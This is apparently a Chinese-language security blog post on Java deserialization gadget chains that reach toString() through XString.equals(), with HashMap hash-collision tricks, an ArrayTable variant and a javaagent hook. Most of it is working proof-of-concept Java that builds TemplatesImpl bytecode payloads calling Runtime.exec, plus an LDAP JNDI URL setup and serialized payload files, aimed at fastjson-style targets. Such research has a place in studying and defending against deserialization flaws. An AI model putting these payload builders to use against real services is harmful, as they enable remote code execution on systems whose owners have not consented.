ToString篇
常用toString
后期对于JNDI/反序列化的利用,主要sink点在jdbc,那么这两条链就额外重要
readObject->toString->getConnection->jdbc
ldap->getObjectInstance->jdbc其中readObject-\>toString是现在主力链fastjson/jackson的重要一环,而承担这一重任的BadAttributeValueExpException仅能使用在jdk8-14,也容易在CTF上被过滤,因此一些替代类就出现了。最知名的是HotSwappableTargetSource+XString的配合,需要spring依赖。随后是jdk原生支持的EventListenerList/TextAndMnemonicHashMap被发现
XString
HotSwappableTargetSource+XString值得说道说道,我们都知道一个HashMap如果put进去一个hashcode相同的K,就会触发key.equals(k),而XString.equals(Object)正好可以触发toString

而之所以用HotSwappableTargetSource封装一层,正是因为这个类实例化的对象hashcode都是一样的
public int hashCode() {
return HotSwappableTargetSource.class.hashCode();
}
也就是说,这个链的原理其实很简单hashMap.put(json,1);hashMap.put(xstring,1); 如果json和xstring的hashcode一样,就会触发XString.equals(json),进而触发json.toString(),最后触发任意getter。如何保证json和xstring的hashcode一样呢,就是用HotSwappableTargetSource封装一层。
除此之外,还有别的办法吗?再看看XString的hashcode来源


其实就是实例化的时候塞进去的String,也就是说XString.hashCode()本质上就是String.hashCode()。
而String的hashcode是可以快速碰撞出来的。
因此,一个不依赖HotSwappableTargetSource的XString链就应运而生
package GodzillaShell;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
import java.util.HashMap;
import static GodzillaShell.HashCollision.unhash;
public class XStringToString {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
Field field2 = templatesImpl.getClass().getDeclaredField("_tfactory");//反射获取templatesImpl的_tfactory字段
field2.setAccessible(true);//暴力反射
field2.set(templatesImpl, new TransformerFactoryImpl());//设置_tfactory字段
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
String unhash = unhash(jsonArray.hashCode());
System.out.println(unhash);
XObject xString = new XString(unhash);
HashMap hashMap = new HashMap();
hashMap.put(jsonArray, "1");
hashMap.put(xString, "2");
}
}
显然在创建序列化payload的时候我们不能这么直接put,否则会先在自己的机器上RCE,因此需要模拟HashMap.put(),用反射将KV塞进去HashMap
也可以用别人更加通用的makeMap写法使用
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}最终会发现直接put可以RCE,readObject-\>putVal的时候却不行,此时将反序列化前后的hashcode都打印出来,很容易发现原因——hashcode变化了

为什么呢?跟踪JSONArray.hashCode(),容易发现其实就是ArrayList.hashCode(),而List的hashcode显然跟元素挂钩,元素只有TemplatesImpl一个,所以本质上就是TemplatesImpl的hashcode变化了。通过下断点,可以发现前后的TemplatesImpl确实有一些地方不一样。
第一次

第二次

然而即使将这些属性都调整成一样的,hashcode还是会发现变化。如果想追踪TemplatesImpl.hashCode()就会发现TemplatesImpl根本没有实现hashCode(),也就是说它用的是Object.hashCode(),而这个在每次实例化的时候都不一样,所以通过new实例化的TemplatesImpl和readObject实例化的TemplatesImpl显然是两个不同的对象,提前通过unhash碰撞出来的Xstring毫无意义。
但知道了原理,所以只要换成其他实现了hashCode()的getter就行。比如com.sun.jndi.ldap.LdapAttribute。
String url = "ldap://127.0.0.1:1389/deser:fastjson2_7:Y2FsYw==";
String ldap_url = url.substring(0,url.lastIndexOf("/"));
String rdn = url.substring(url.lastIndexOf("/")+1);
System.out.print(ldap_url+"\r\n");
System.out.print(rdn+"\r\n");
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
Attribute obj = (Attribute) ctor.newInstance("id");
setFieldValue(obj, "baseCtxURL", ldap_url);
setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
String unhash = unhash(jsonArray.hashCode());
XObject xString = new XString(unhash);
HashMap hashMap = new HashMap();
//hashMap.put(jsonArray, "1");
//hashMap.put(xString, "2");
hashMap = makeMap(jsonArray ,xString);
Set keys = hashMap.keySet();
for (Object key :keys) {
System.out.println(key.getClass()+": "+key.hashCode());
}
HashMap hashMap2 = new HashMap();
hashMap2.put(obj, hashMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap2);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();XString+HashMap
在ROME链中,还有一种使hashcode相等的办法
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean);
map1.put("zZ",obj);
map2.put("zZ",equalsBean);
map2.put("yy",obj);
System.out.println(map1.hashCode());
System.out.println(map2.hashCode());这种办法可以无缝套在Xstring上
package GodzillaShell;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Set;
import java.lang.reflect.Field;
import java.util.HashMap;
import static GodzillaShell.XStringToString.makeMap;
public class XStringHashmap {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
Field field2 = templatesImpl.getClass().getDeclaredField("_tfactory");//反射获取templatesImpl的_tfactory字段
field2.setAccessible(true);//暴力反射
field2.set(templatesImpl, new TransformerFactoryImpl());//设置_tfactory字段
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
XObject xString = new XString("foo");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", jsonArray);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", jsonArray);
System.out.println(map1.hashCode());
System.out.println(map2.hashCode());
HashMap hashMap = makeMap(map1, map2);
// HashMap hashMap2 = new HashMap();
// hashMap2.put(templatesImpl,hashmap);
Set keys = hashMap.keySet();
for (Object key :keys) {
System.out.println(key.getClass()+": "+key.hashCode());
}
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
hashMap = (HashMap) objectInputStream.readObject();
keys = hashMap.keySet();
for (Object key :keys) {
System.out.println(key.getClass()+": "+key.hashCode());
}
}
}
XString+ArrayTable
这篇文章介绍了ArrayTable.get()可以触发Xstring.equals(),但需要用agent技术修改JComponent.writeObject(),避免在序列化过程在本地触发。核心思路是ArrayTable在比较key时是直接调用的key.equals()。文章中给了JComponent的反序列化写法和agent代码,这里不再赘述。
POC
package GodzillaShell;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javax.swing.*;
import javax.swing.text.DefaultEditorKit;
import java.lang.reflect.Field;
public class XStringACtionMap {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
Field field2 = templatesImpl.getClass().getDeclaredField("_tfactory");//反射获取templatesImpl的_tfactory字段
field2.setAccessible(true);//暴力反射
field2.set(templatesImpl, new TransformerFactoryImpl());//设置_tfactory字段
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
XObject xString = new XString("foo");
ActionMap actionMap = new ActionMap();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = Reflections.createWithoutConstructor(atClass);
Action action = new DefaultEditorKit.CopyAction();
action.putValue("foo", "foo");
Object[] table = new Object[]{xString ,action ,jsonArray ,action};
Reflections.setFieldValue(arrayTable, "table", table);
Reflections.setFieldValue(actionMap, "arrayTable", arrayTable);
String serialize = tool.serialize(actionMap);
tool.unserialize(serialize);
}
}在序列化就会执行。

需要加-javaagent:ArrayTableAgent.jar参数生成序列化数据,hook ArrayTable核心代码如下。可以平替JComponent.writeObject()的hook,兼容性更高。
public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
if (className.equals("javax/swing/ArrayTable")) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass jClazz;
try {
jClazz = classPool.get("javax.swing.ArrayTable");
} catch (Exception e) {
System.out.println("cp.get error");
jClazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
}
CtMethod w = jClazz.getDeclaredMethod("writeArrayTable");
String methodBody = "{\r\n"
+ " try {\r\n"
+ " $1.writeInt(2);\r\n"
+ " Class clz = $2.getClass();\r\n"
+ " java.lang.reflect.Field field = clz.getDeclaredField(\"table\");\r\n"
+ " field.setAccessible(true);\r\n"
+ " Object[] table = (Object[]) field.get($2);\r\n"
+ " for (int i = 0; i < 4; i++) {\r\n"
+ " $1.writeObject(table[i]);\r\n"
+ " }\r\n"
+ " } catch (Exception e) {\r\n"
+ " }"
+ "}";
w.setBody(methodBody);
byte[] byteCode = jClazz.toBytecode();
System.out.println(byteCode);
jClazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
return null;
}